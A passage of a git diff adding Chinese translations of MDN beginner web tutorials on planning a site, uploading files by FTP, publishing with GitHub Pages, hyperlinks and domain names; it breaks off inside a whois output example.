<li>将你的爱猫图片发布到互联网</li> + <li>找一个男朋友或女朋友</li> +</ul> + +<p>一旦你有了一张如上的表,你需要按照重要性进行排序(从最重要的到最次要的):</p> + +<ol> + <li>找一个男朋友或女朋友</li> + <li>让人们听你的音乐</li> + <li>谈论你的音乐</li> + <li>拜会其他的音乐家</li> + <li>卖糖果</li> + <li>通过视频教授音乐</li> + <li>将你的爱猫图片发布到互联网</li> +</ol> + +<p>这些简单的步骤(也就是写下目标并进行分类)将在你需要做出重大决定的时候帮助你(比如,我需要植入这些功能吗?需要使用这些服务吗?需要做这些设计吗?)</p> + +<p>现在你有了按照重要程度排序的列表,我们进入到下一个问题!</p> + +<h3 id="网站如何实现我的目标?">网站如何实现我的目标?</h3> + +<p>现在,你有了一个目录清单,而且你迫切需要一个网站来实现这些目标。你确定吗?</p> + +<p>让我们回过头看看我们的例子。我们有5个目标和音乐相关,另一个和日常生活相关(找到你的另一半),还有一个和这些完全无关:猫的照片。建立一个网站来实现这所有的目标合理吗?甚至是必要的吗? 毕竟现有的很多网站服务就能达成你的目标,不需要新建一个网站。</p> + +<p>找一个男(女)朋友就是一个很好的例子,体现了使用现有资源比构建一个全新的网站更有意义。为什么呢?因为比起实际去找个男(女)朋友,构建和维护网站将会花费我们更多的时间。既然我们的目标是最重要的,我们应该把我们的精力放在借助已有的工具而不是从头开始。还有,我们有很多可以用来展示相片的web服务,所以如果只是为了传播我们的猫咪多么可爱而构建一个新网站,就太不值得在这上面下功夫了。</p> + +<p>其他的五个目标都和音乐有关。当然,有许多 web 服务能够达成这些目标,但是在这种情况下构建一个我们自己的专用网站是有意义的。这样的一个网站是<strong><em>整合</em></strong>所有我们想要发布在同一个地方的内容的最佳方式(有利于目标3,5和6),而且能促进我们与公众的<strong><em>互动</em></strong>(有利于目标2和4)。总之,既然这些目标都围绕着同一个主题,把一切放在一起将帮助我们达成目标,同时帮助我们的读者与我们联系。</p> + +<p>那么一个网站如何帮助我达成我的目标呢? 通过回答这个问题,你将找到达成目标的最佳方式,同时把自己从白费力气中解救出来。</p> + +<h3 id="做什么,以怎样的顺序,才能达成我的目标?">做什么,以怎样的顺序,才能达成我的目标?</h3> + +<p>现在你知道你想要完成什么,是时候把这些目标变成可行的步骤了。另外我补充一点,你的目标可能会不断变化。在项目的过程中,它们也会随着时间的推移而发生变化,可能是你遇到了意想不到的困难,或者只是改变了你的想法。</p> + +<p>与其一个冗长的解释, 不如让我们回到如下表格中的例子上:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">目标</th> + <th scope="col">要做的事</th> + </tr> + </thead> + <tbody> + <tr> + <td style="vertical-align: top;">让人们听到你的音乐</td> + <td> + <ol> + <li>录制一段音乐</li> + <li>准备一些可在线使用的音频文件(你能用现有的Web服务来实现吗?)</li> + <li>让人们在网站的某个地方听见你的音乐</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">讨论关于你的音乐</td> + <td> + <ol> + <li>写下一些文章来开启讨论</li> + <li>明确文章的外观</li> + <li>在网站上发布这些文章 (怎么做?)</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">与其他音乐家见面</td> + <td> + <ol> + <li>向人们提供你的联系方式 (电子邮件? Facebook? 电话? 邮件?)</li> + <li>明确人们怎样从你的网站上找到那些联系方式</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">出售商品</td> + <td> + <ol> + <li>创造商品</li> + <li>储存商品</li> + <li>寻找方式解决运输</li> + <li>寻找方式解决支付</li> + <li>在你的网站上建立一个机制让人们能下订单。</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">通过视频教授音乐</td> + <td> + <ol> + <li>录制视频课程</li> + <li>让视频文件可以在线观看(再一次,你能否用已经存在的 Web 服务做到这件事)</li> + <li>让人们在你网站的某个部分访问你的视频。</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<p>有两件事需要注意。第一, 其中的有些事情和 web 不相关(例如:录制音乐,写文章)。 通常这些线下活动比项目的 Web 端更重要。例如,在销售方面,处理供应、付款和发货比建立一个人们可以订购的网站更为重要和耗时。 </p> + +<p>第二, 制定可行的步骤会导致你需要回答新的问题。通常情况下,问题比我们最初想的要多。(例如,我应该学习如何自己做这些,请别人帮我做,或者使用第三方服务?)</p> + +<h2 id="总结">总结</h2> + +<p>正如你所看到的,一个最简单的“我想建一个网站”的想法,也会产生一个长长的待办事物清单,并且随着你的想法改变而变得更长,很快你就将会被这些事物所淹没。但是不用担心,不是所有清单上的问题都要得到答案,也不是每一件清单上的事情都需要完成。重要的是你首先要弄清楚目标是什么,以及如何实现它。目前确定之后,你需要决定什么时候以及如何来实现它。将大的目标分成小的,较容易且可控制的目标,逐一实现它们,你就能达成那个在之前看起来是不可能的目标。</p> diff --git a/files/zh-cn/learn/common_questions/upload_files_to_a_web_server/index.html b/files/zh-cn/learn/common_questions/upload_files_to_a_web_server/index.html new file mode 100644 index 0000000000..d554870125 --- /dev/null +++ b/files/zh-cn/learn/common_questions/upload_files_to_a_web_server/index.html @@ -0,0 +1,143 @@ +--- +title: 如何将文件上传到网络服务器 +slug: Learn/Common_questions/Upload_files_to_a_web_server +translation_of: Learn/Common_questions/Upload_files_to_a_web_server +--- +<div class="summary"> +<p>这篇文章将会告诉你如何利用 {{Glossary("FTP")}} 工具来发布你的网站。 </p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>你必须知道<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">什么是网络服务器?</a> 以及<a href="https://developer.mozilla.org/en-US/Learn/Understanding_domain_names">域名是如何工作的</a>。你必须知道如何<a href="https://developer.mozilla.org/en-US/Learn/Set_up_a_basic_working_environment">搭建一个基本环境</a>,还有如何<a href="https://developer.mozilla.org/en-US/Learn/HTML/Write_a_simple_page_in_HTML">写一个简单的网页</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何将文件上传到FTP服务器。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>如果<a href="https://developer.mozilla.org/en-US/Learn/HTML/Write_a_simple_page_in_HTML">你已经建立了一个简单的页面</a>, 你会想将它放到某些网络服务器上。在这章里,我们将讨论如何使用“<strong>FTP</strong>”。</p> + +<h2 id="自主学习">自主学习</h2> + +<p><em>目前还没有有效的自主学习方法。 <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">请考虑贡献</a>。</em></p> + +<h2 id="深入探究">深入探究</h2> + +<h3 id="了解FTP客户端:FireFTP">了解FTP客户端:FireFTP</h3> + +<p>有很多FTP客户端。我们的demo使用FireFTP演示,因为用FireFTP构建是非常容易的。如果你使用FireFTP,只要<a href="https://addons.mozilla.org/firefox/addon/fireftp/">转到FireFTP插件页面</a>并安装FireFTP。</p> + +<div class="note"> +<p>当然这有许多其他的选项。参见<a href="https://developer.mozilla.org/en-US/Learn/How_much_does_it_cost#Publishing_tools.3A_FTP_client">发布工具:获取FTP</a>更多的信息。</p> +</div> + +<p>在个新的标签中打开FireFTP,FireFTP有两种办法。</p> + +<ol> + <li><strong>Firefox menu <img alt="" src="https://mdn.mozillademos.org/files/9633/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> ➤ <img alt="Developer" src="https://mdn.mozillademos.org/files/9635/Screenshot%20from%202014-11-26%2014:24:56.png" style="height: 24px; vertical-align: middle; width: 27px;"> ➤ FireFTP</strong></li> + <li><strong>Tools </strong>➤ <strong>Web Develope</strong>r ➤ <strong>FireFTP</strong></li> +</ol> + +<p>现在你应该可以看到如下界面:</p> + +<p><img alt="FireFTP : the interface, not connected to a server" src="https://mdn.mozillademos.org/files/9613/fireftp-default.png" style="height: 800px; width: 1280px;"></p> + +<h3 id="登入(Logging_in)">登入(Logging in)</h3> + +<p>在这个例子中,我们假设我们的托管提供商(将托管我们的HTTP Web服务器的服务)是一个虚构的公司“Example Hosting Provider”,其URL如下所示:</p> + +<p><code>mypersonalwebsite.examplehostingprovider.net</code>.</p> + +<p>我们刚刚开通了一个帐户,并从他们那里收到了这些信息:</p> + +<blockquote> +<p>恭喜在Example Hosting Provider开设帐户。</p> + +<p>你的账户是: <code>demozilla</code></p> + +<p>您的网站将在:</p> + +<p><code>demozilla.examplehostingprovider.net</code></p> + +<p>要发布到此帐户,请使用以下凭据通过FTP进行连接:</p> + +<ul> + <li>FTP 服务: <code>ftp://demozilla.examplehostingprovider.net</code></li> + <li>用户名: <code>demozilla</code></li> + <li>密码: <code>quickbrownfox</code></li> + <li>要在Web上发布,请将文件放入<code>Public / htdocs</code>目录中。</li> +</ul> +</blockquote> + +<p>让我们查看一下此网页<code>http://demozilla.examplehostingprovider.net/</code> — 正如你所见,现在这里什么也没有:</p> + +<p><img alt="Our demozilla personal website, seen in a browser: it's empty" src="https://mdn.mozillademos.org/files/9615/demozilla-empty.png" style="height: 233px; width: 409px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 根据您的托管服务提供商的不同,大部分时间您会看到一个页面,内容如下:“此网站由[托管服务]托管”。</p> +</div> + +<p>要将FTP客户端连接到远程服务器,请按“创建帐户...”按钮并使用托管提供商提供的信息填写字段:</p> + +<p><img alt="FireFTP: creating an account" src="https://mdn.mozillademos.org/files/9617/fireftp-createlogin.png" style="height: 436px; width: 578px;"></p> + +<h3 id="在这里和那里:本地和远程视图">在这里和那里:本地和远程视图</h3> + +<p>现在让我们连接这个新创建的帐户:</p> + +<p><img alt="The FTP interface, once logged" src="https://mdn.mozillademos.org/files/9619/fireftp-logged.png" style="height: 800px; width: 1280px;"></p> + +<p>让我们来看看你所看到的:</p> + +<ul> + <li>在左边,你会看到你的本地文件。 导航到您存储网站的目录(本例中为<code>mdn</code>)。</li> + <li>在右侧,您会看到远程文件。 我们登录到了我们远程的FTP根目录(在这种情况下,<code>users/ demozilla</code>)</li> + <li>现在您可以忽略底部区域。 它是您的FTP客户端和服务器之间每次交互的实时日志。</li> +</ul> + +<h3 id="上传到服务器">上传到服务器</h3> + +<p>您应该记得,我们的主机提供商告诉我们,我们的文件必须存储在<code>Public / htdocs</code>目录中,如右窗格中导航所示:</p> + +<p><img alt="Changing to the htdocs folder on the remote server" src="https://mdn.mozillademos.org/files/9623/remote-htdocs-empty.png" style="height: 315px; width: 561px;"></p> + +<p>现在,要将文件上传到服务器,请将它们从左侧窗格拖放到右侧窗格中:</p> + +<p><img alt="The files show in the remote view: they have been pushed to the server" src="https://mdn.mozillademos.org/files/9625/files-dropped-onto-the-server.png" style="height: 800px; width: 1280px;"></p> + +<h3 id="文件都上传成功了吗">文件都上传成功了吗?</h3> + +<p>到目前为止,很好,但文件真的在线吗? 您可以在浏览器中返回您的网站(例如<code>http://demozilla.examplehostingprovider.net/</code>)进行仔细检查:</p> + +<p><img alt="Here we go: our website is live!" src="https://mdn.mozillademos.org/files/9627/here-we-go.png" style="height: 442px; width: 400px;"></p> + +<p>瞧! 我们的网站已经活灵活现了!</p> + +<h3 id="其他方式上传文件">其他方式上传文件</h3> + +<p>FTP协议是发布网站的一种众所周知的方法,但不是唯一的方法。 以下是其他一些可能性:</p> + +<ul> + <li> <strong>Web界面</strong>。 作为远程文件上传服务前端的HTML界面。 由您的托管服务提供。</li> + <li><strong>GitHub</strong>(高级)。 使用 提交/推送 方法的组合上传{{Glossary('git')}} 。 请参阅我们的 “<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web">Web指南入门</a>” 中 <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">发布您的网站</a> 文章。</li> + <li><strong>{{Glossary("Rsync")}}</strong>(高级)。 本地到远程的文件同步系统。</li> + <li><strong>{{Glossary('WebDAV')}}。</strong></li> + <li><strong>{{Glossary('WebDAV')}}</strong>. {{Glossary('HTTP')}}协议的扩展,允许更多的高级文件管理。</li> +</ul> + +<h2 id="下一步">下一步</h2> + +<p>干得好,你几乎快完成了。 最后一项重要任务是确保您的网站正常工作。</p> + +<p> </p> + +<p> + <audio style="display: none;"> </audio> +</p> diff --git a/files/zh-cn/learn/common_questions/using_github_pages/index.html b/files/zh-cn/learn/common_questions/using_github_pages/index.html new file mode 100644 index 0000000000..16a7682672 --- /dev/null +++ b/files/zh-cn/learn/common_questions/using_github_pages/index.html @@ -0,0 +1,105 @@ +--- +title: 应该如何使用Github Pages? +slug: Learn/Common_questions/Using_Github_pages +tags: + - GitHub + - Web + - git + - 初学者 + - 指导 +translation_of: Learn/Common_questions/Using_Github_pages +--- +<p class="summary"><a href="https://github.com/">GitHub</a>是一个“公共编码”网站。它允许您上传代码存储库并存储在 <a href="http://git-scm.com/">Git</a> 版本控制系统上。然后,您可以在代码项目上进行协作,默认情况下系统是开源的,这意味着世界上任何人都可以找到您的GitHub代码,使用它,从中学习,并改进它。同样的,对于其他人的代码您也可以这么做!本文提供了一个基本的指南,即使用Github的gh-pages功能发布内容。</p> + +<h2 id="发布内容">发布内容</h2> + +<p>GitHub是一个非常重要和有用的社区,值得参与其中,Git / GitHub也是一个非常受欢迎的<a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">版本控制系统</a> - 现在大多数科技公司在其工作流程中使用它。 GitHub有一个非常有用的功能,称为<a href="https://pages.github.com/">GitHub Pages</a>,它允许您在Web上实时发布网站代码。</p> + +<h3 id="基本Github设置">基本Github设置</h3> + +<ol> + <li>首先,在您的机器上<a href="http://git-scm.com/downloads">安装Git</a>。这是GitHub工作的底层版本控制系统软件。</li> + <li>接下来,<a href="https://github.com/join">注册一个GitHub帐户</a>。这很简单易操作。</li> + <li>注册后,用您的用户名和密码登录<a href="https://github.com/">github.com</a>。</li> +</ol> + +<h3 id="准备上传代码">准备上传代码</h3> + +<p>您可以将任何您喜欢的代码存储在Github资源库中,但要使用GitHub Pages功能实现全面效果,您的代码应该被构造为典型的网站,例如主入口点是一个名为index.html的HTML文件。</p> + +<p>第一步,您需要做的另一件事是将您的代码目录初始化为Git存储库。按照下述步骤:</p> + +<ol> + <li>将命令行指向您的test-site目录(或者任何一个您能调用的包含有您的网站的目录)。为此,请使用cd命令(即“更改目录”)。如果您已经将您的网站放到了位于桌面上的test-site目录中,则可以输入以下内容: + <pre class="brush: bash">cd Desktop/test-site</pre> + </li> + <li>当命令行指向您的网站所在目录时,键入以下命令,该命令告诉git工具将目录转换为git仓库: + <pre class="brush: bash">git init</pre> + </li> +</ol> + +<h4 id="命令行界面">命令行界面</h4> + +<p>将代码上传到Github的最佳方法是通过命令行 - 这是一个窗口,您可以在其中输入命令来执行诸如创建文件和运行程序等操作,而不是在用户界面内单击。它看起来像这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9483/command-line.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p> + +<div class="note"> +<p><strong>注意</strong>: 您也可以考虑使用<a href="http://git-scm.com/downloads/guis">Git图形用户界面</a>来执行相同的工作,如果您不熟悉命令行。</p> +</div> + +<p>每个操作系统都附带有一个命令行工具:</p> + +<ul> + <li><strong>Windows</strong>: 可以通过按Windows键,键入<strong>命令提示符</strong>,并从出现的列表中选择命令提示符。请注意,Windows具有与Linux和OS X不同的命令约定,因此以下命令可能因您的机器而异。</li> + <li><strong>OS X</strong>: <strong>终端</strong>可以在应用程序>实用程序中找到。</li> + <li><strong>Linux</strong>: 通常你可以用Ctrl + Alt + T启动一个终端。如果不行,请在应用程序栏或菜单中查找<strong>Terminal</strong>。</li> +</ul> + +<p>起初这可能看起来有点吓人,但不要担心 - 你很快就会得到基本的窍门。您可以通过键入命令并按Enter键来告诉计算机在终端中执行某些操作,如上所示。</p> + +<h3 id="为您的代码创建一个仓库">为您的代码创建一个仓库</h3> + +<ol> + <li>接下来,您需要为您的文件创建一个新的仓库。单击GitHub主页右上角的加号(+),然后选择“ <em>New Repository</em>”。</li> + <li>在此页面的“<em>Repository name</em>”框中,为您的代码库起一个名字,例如:<em>my-repository</em>。</li> + <li>还要填写一个描述来说明您的存储库将包含哪些内容。你的屏幕应该是这样的<br> + <img alt="" src="https://mdn.mozillademos.org/files/12143/create-new-repo.png" style="display: block; height: 548px; margin: 0px auto; width: 800px;"></li> + <li>单击<em>Create repository</em>;您将会看到如下页面:<br> + <img alt="" src="https://mdn.mozillademos.org/files/12141/github-repo.png" style="display: block; height: 520px; margin: 0px auto; width: 800px;"></li> +</ol> + +<h3 id="将您的文件上传到GitHub">将您的文件上传到GitHub</h3> + +<ol> + <li>在当前页面上,您可能对本节的这部分感兴趣“<strong><em>…or push an existing repository from the command line</em></strong>(或者从命令行推送一个现有存储库)”。您应该看到本节中列出的两行代码。复制整个第一行,将其粘贴到命令行中,然后按Enter键。命令应该看起来像是这样的: + + <pre class="copyable-terminal-content js-zeroclipboard-target"><span class="user-select-contain">git remote add origin <span class="js-live-clone-url">https://github.com/chrisdavidmills/my-repository.git</span></span></pre> + </li> + <li>接下来,键入以下两个命令,每个命令之后按Enter。这些指令将会把代码上传到GitHub,并要求Git管理这些文件。 + <pre class="brush: bash">git add --all +git commit -m 'adding my files to my repository'</pre> + </li> + <li>最后,将代码推送到GitHub,通过您正在访问的GitHub网页,然后输入我们看到的两个命令中的第二个命令“ <em><strong>…or push an existing repository from the command line</strong>(</em>或从命令行部分推入现有存储库)部分”: + <pre class="brush: bash">git push -u origin master</pre> + </li> + <li>现在你需要为你的仓库创建一个gh-pages分支;刷新当前页面,您将看到一个类似下面的存储库页面。您需要点击<strong>Branch:master</strong>按钮,在文本输入框中输入gh-pages,然后按蓝色按钮,即创建分支<strong><em>Create branch: gh-pages</em></strong>。这将创建一个特殊的代码分支,称为gh-pages,该分支会在特殊位置发布。它的URL采用username.github.io/my-repository-name的格式,所以在我的例子中,URL是https://chrisdavidmills.github.io/my-repository。显示的页面是index.html页面。<br> + <img alt="" src="https://mdn.mozillademos.org/files/12145/repo-site.png" style="display: block; margin: 0 auto;"></li> + <li>在新的浏览器标签中浏览您的GitHub Pages的网址,您将能够在线访问您的网站!通过电子邮件把地址发送给你的朋友,炫耀你的掌握的成果吧。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong> :如果卡住了,<a href="https://pages.github.com/">GitHub Pages主页</a>也是非常有帮助的。</p> +</div> + +<h3 id="更多的GitHub知识">更多的GitHub知识</h3> + +<p>如果您想对test-site进行更多更改并将其上传到GitHub,那么您只需像以前一样对文件进行更改。然后,您需要输入以下命令(在每个之后按Enter键)将这些更改推送到GitHub:</p> + +<pre>git add --all +git commit -m 'another commit' +git push</pre> + +<p>您可以使用更合适的消息替换上一次的提交信息,以描述您刚刚做出的更改。</p> + +<p>我们仅仅提供了Git的浅显基本的信息。要了解更多信息,请先从<a href="https://help.github.com/index.html">GitHub帮助站点</a>开始。</p> diff --git a/files/zh-cn/learn/common_questions/what_are_hyperlinks/index.html b/files/zh-cn/learn/common_questions/what_are_hyperlinks/index.html new file mode 100644 index 0000000000..c57eb959bc --- /dev/null +++ b/files/zh-cn/learn/common_questions/what_are_hyperlinks/index.html @@ -0,0 +1,96 @@ +--- +title: 什么是超链接? +slug: Learn/Common_questions/What_are_hyperlinks +tags: + - 初学者 + - 基础 + - 导航 +translation_of: Learn/Common_questions/What_are_hyperlinks +--- +<div class="summary"> +<p>通过这篇文章,我们将了解什么是超链接以及超链接的重要性。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>你该知道 <a href="/zh-CN/docs/learn/How_the_Internet_works">互联网是怎样工作的 </a>,并且熟悉 <a href="/zh-CN/docs/learn/常见问题/网页,网站,网页服务器和搜索引擎的区别是什么?">网页,网站,网络服务器和搜索引擎间的区别</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解 Web 上的超链接概念以及超链接的重要性。</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p>超链接(Hyperlink),通常简称为链接(link),是网络背后的核心概念。为了解释什么是链接,我们需要回到网络架构的底层。</p> + +<p>早在1989年,网络发明人蒂姆·伯纳斯 - 李(Tim Berners-Lee)就提出了网站的三大支柱:</p> + +<ol> + <li>{{Glossary("URL")}}, 跟踪Web文档的地址系统</li> + <li>{{Glossary("HTTP")}}, 一个传输协议,以便在给定URL时查找文档</li> + <li>{{Glossary("HTML")}}, 允许嵌入超链接的文档格式</li> +</ol> + +<p>正如您在三大支柱中所看到的,网络上的一切都围绕着文档以及如何访问它们。 Web的最初目的是提供一种简单的方式来访问,阅读和浏览文本文档。从那时起,网络已经发展到提供图像,视频和二进制数据的访问,但是这些改进几乎没有改变三大支柱。</p> + +<p>在Web之前,很难访问文档并从一个文档跳转到另一个文档。人类可以理解的URL已经使得文档容易被访问,但是你很难通过输入一个长URL来访问一个文档。超链接改变了这一切。链接可以将任何文本与URL相关联,因此用户只要激活链接就可以到达目标文档。</p> + +<p>默认情况下,链接是一段具有下划线的蓝色文本,在视觉上与周围的文字明显不同。用手指触击或用鼠标点击一个链接会激活链接;你如果使用键盘,那么按Tab键直到链接处于焦点,然后按Enter键或空格键来激活链接。</p> + +<p><img alt="Example of a basic display and effect of a link in a web page" src="https://mdn.mozillademos.org/files/8625/link-1.png" style="height: 492px; width: 477px;"></p> + +<p>链接是一个突破,它使得网络变得非常有用和成功。在本文的其余部分,我们讨论各种类型的链接及链接在现代网页设计中的重要性。</p> + +<h2 id="深入探索">深入探索</h2> + +<p>正如我们所说的,链接是一段链接到URL的文本,我们使用链接来跳转到另一个文档。关于链接,有一些细节值得考虑:</p> + +<h3 id="链接的类型">链接的类型</h3> + +<dl> + <dt>内链</dt> + <dd>内链是您的网页之间的链接。没有内部链接,就没有网站(当然,除非是只有一页的网站)。</dd> + <dt>外链</dt> + <dd>外链是从您的网页链接到其他人的网页的链接。没有外部链接,就没有web,因为web是网页的网络。使用外部链接提供除您自己维护的内容之外的信息。</dd> + <dt>传入链接</dt> + <dd>传入链接是从其他人的网页链接到您的网页的链接。这只是从被链接者的角度看到的外部链接。请注意,当有人链接到您的网站时,您不必链接回去。</dd> +</dl> + +<p>当你建立一个网站时,集中精力处理内部链接,因为这些使你的网站可用。权衡链接的数量,既不要太多也不要太少。我们将在另一篇文章中讨论网站导航的设计问题,但是一般情况下,无论何时添加一个新网页,都要确保至少有一个其他网页链接到新网页。另一方面,如果您的网站的页面多于十个,那么每个页面都需要链接到其他页面。</p> + +<p>当你刚开始的时候,你不必担心外部链接和传入链接,但是如果你想让搜索引擎找到你的网站,这些链接就非常重要。(请参阅下面的更多细节。)</p> + +<h3 id="锚">锚</h3> + +<p><strong>大多数链接将两个网页相连。而锚将一个网页中的两个段落相连。</strong> 当您点击指向锚点的链接时,浏览器跳转到当前文档的另一部分,而不是加载新文档。但是,您可以像使用其他链接一样制作和使用锚点。</p> + +<p><img alt="Example of a basic display and effect of an anchor in a web page" src="https://mdn.mozillademos.org/files/8627/link-2.png" style="height: 492px; width: 477px;"></p> + +<h3 id="链接和搜索引擎">链接和搜索引擎</h3> + +<p>链接对您的用户和搜索引擎都很重要。每次搜索引擎抓取一个网页时,他们都会按照网页上提供的链接对网站进行索引。搜索引擎不仅可以通过链接来发现网站的各种页面,还可以使用链接的可见文本来确定哪些搜索查询适合到达目标网页。</p> + +<p>所以链接会影响搜索引擎链接到您的网站的方式。麻烦的是,很难衡量搜索引擎的活动。公司自然希望他们的网站在搜索结果中排名很高,所有研究结果至少可以说明一些事情:</p> + +<ul> + <li>链接的可见文本会影响哪些搜索查询会找到给定的网址。</li> + <li>一个网页所拥有的链接越多,它在搜索结果中排名越高。</li> + <li>外部链接影响源和目标网页的搜索排名,但有多少不明确。</li> +</ul> + +<p><a href="http://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a> (search engine optimization) 是如何使网站在搜索结果中排名高的研究。改善网站的链接使用是一种有用的搜索引擎优化技术。</p> + +<h2 id="下一步">下一步</h2> + +<p>所以现在当然你想要建立一些链接的网页!</p> + +<ul> + <li>为了获得更多的理论背景, 了解 <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URL以及其结构</a>,因为每个链接都指向一个URL.</li> + <li>想要一些更实际的东西? 我们的 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a> 模块中的<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a> 解释了如何实现详细的超链接</li> +</ul> diff --git a/files/zh-cn/learn/common_questions/what_is_a_domain_name/index.html b/files/zh-cn/learn/common_questions/what_is_a_domain_name/index.html new file mode 100644 index 0000000000..1fd68a3cb2 --- /dev/null +++ b/files/zh-cn/learn/common_questions/what_is_a_domain_name/index.html @@ -0,0 +1,168 @@ +--- +title: 什么是域名? +slug: Learn/Common_questions/What_is_a_domain_name +tags: + - 初学者 + - 域名 + - 网络 + - 网络基础架构 +translation_of: Learn/Common_questions/What_is_a_domain_name +--- +<div class="summary"> +<p>本文中我们讨论了域名是什么,域名是如何被构建的,以及如何获得一个域名。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>首先你得知道 <a href="/zh-CN/docs/learn/How_the_Internet_works">互联网是怎么工作的</a> 并理解 <a href="/zh-CN/docs/learn/常见问题/What_is_a_URL">什么是URL</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习域名是什么,域名的工作方式,以及域名的重要性。</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p><span class="seoSummary">域名(Domain names)是互联网基础架构的关键部分。它们为互联网上任何可用的网页服务器提供了方便人类理解的地址。</span></p> + +<p>任何连上互联网的电脑都可以通过一个公共{{Glossary("IP")}}地址访问到,对于IPv4地址来说,这个地址有32位(它们通常写成四个范围在0~255以内,由点分隔的数字组成,比如173.194.121.32),而对于IPv6来说,这个地址有128位,通常写成八组由冒号分隔的四个十六进制数(e.g., <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). 计算机可以很容易地处理这些IP地址, 但是对一个人来说很难找出谁在操控这些服务器以及这些网站提供什么服务。IP 地址很难记忆而且可能会随着时间的推移发生改变 。为了解决这些问题,我们使用方便记忆的地址,称作域名。</p> + +<h2 id="自主学习">自主学习</h2> + +<p><em>还没有可用的资料。请考虑为此投稿[<a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>]。</em></p> + +<h2 id="深入探索">深入探索</h2> + +<h3 id="域名的结构">域名的结构</h3> + +<p>一个域名是由几部分(有可能只是一部分,也许是两部分,三部分...)组成的简单结构,它被点分隔,不同于中文书写顺序,它<strong>需要从右到左阅读</strong>。</p> + +<p><img alt="Anatomy of the MDN domain name" src="https://mdn.mozillademos.org/files/11229/structure.png" style="height: 76px; width: 252px;"></p> + +<p>域名的每一部分都提供着特定信息。</p> + +<p>{{Glossary("TLD")}} (Top-Level Domain,顶级域名)</p> + +<p>顶级域名可以告诉用户域名所提供的服务类型。最通用的顶级域名(.com, .org, .net)不需要web服务器满足严格的标准,但一些顶级域名则执行更严格的政策。比如:</p> + +<ul> + <li>地区的顶级域名,如.us,.fr,或.sh,可以要求必须提供给定语言的服务器或者托管在指定国家。这些TLD通常表明对应的网页服务从属于何种语言或哪个地区。</li> + <li>包含.gov的顶级域名只能被政府部门使用。</li> + <li>.edu只能为教育或研究机构使用。</li> +</ul> + +<p>顶级域名既可以包含拉丁字母,也可以包含特殊字符。顶级域名最长可以达到63个字符,不过为了使用方便,大多数顶级域名都是两到三个字符。</p> + +<p>顶级域名的完整列表是<a href="https://www.icann.org/resources/pages/tlds-2012-02-25-en">ICANN</a>维护的。</p> + +<dl> + <dt>标签 (或者说是组件)</dt> + <dd>标签都是紧随着TLD的。标签由1到63个大小写不敏感的字符组成,这些字符包含字母A-z,数字0-9,甚至 “-” 这个符号(当然,“-” 不应该出现在标签开头或者标签的结尾)。举几个例子,<code>a</code>,<code>97</code>,或者 <code>hello-strange-person-16-how-are-you</code> 都是合法的标签。</dd> + <dt>Secondary Level Domain, 二级域名</dt> + <dd>刚好位于TLD前面的标签也被称为二级域名 (SLD)。一个域名可以有多个标签(或者说是组件),没有强制规定必须要3个标签来构成域名。例如,www.inf.ed.ac.uk 是一个正确的域名。当拥有了“上级”部分(例如 <a href="https://mozilla.org">mozilla.org</a>),你还可以创建另外的域名 (有时被称为 "子域名") (例如 <a href="https://developer.mozilla.org">developer.mozilla.org</a>).</dd> +</dl> + +<h3 id="购买域名">购买域名</h3> + +<h4 id="谁拥有域名?">谁拥有域名?</h4> + +<p>你不能真正地 “购买一个域名”,你只能花钱获得一个域名在一年或多年内的使用权。不过你可以延长你的使用权,同时你的续期将优先于其他人的使用申请。但你从来都没有拥有过域名。</p> + +<p>被称为域名注册商的公司通过域名登记来记录连接你和你的域名的技术与管理信息。</p> + +<div class="note"> +<p><strong>提示 : </strong>对于一些域名,它可能不归属于某个域名注册商来负责记录。比如说,每个在.fire下的域名由Amazon管理。</p> +</div> + +<h4 id="找个可用的域名">找个可用的域名</h4> + +<p>想要知道一个给定的域名是否可用,</p> + +<ul> + <li>去域名注册商的网站。它们大多会提供"whois"服务,告诉你一个域名是否可用。</li> + <li>另外,如果你使用系统的内置shell,可以在里面输入whois命令,下面显示的是mozilla.org网站的结果:</li> +</ul> + +<pre class="notranslate">$ whois mozilla.org +Domain Name:MOZILLA.ORG +Domain ID: D1409563-LROR +Creation Date: 1998-01-24T05:00:00Z +Updated Date: 2013-12-08T01:16:57Z +Registry Expiry Date: 2015-01-23T05:00:00Z +Sponsoring Registrar:MarkMonitor Inc. (R37-LROR) +Sponsoring Registrar IANA ID: 292 +WHOIS Server: +Referral URL: +Domain Status: clientDeleteProhibited +Domain Status: clientTransferProhibited +Domain Status: clientUpdateProhibited +Registrant ID:mmr-33684 +Registrant Name:DNS 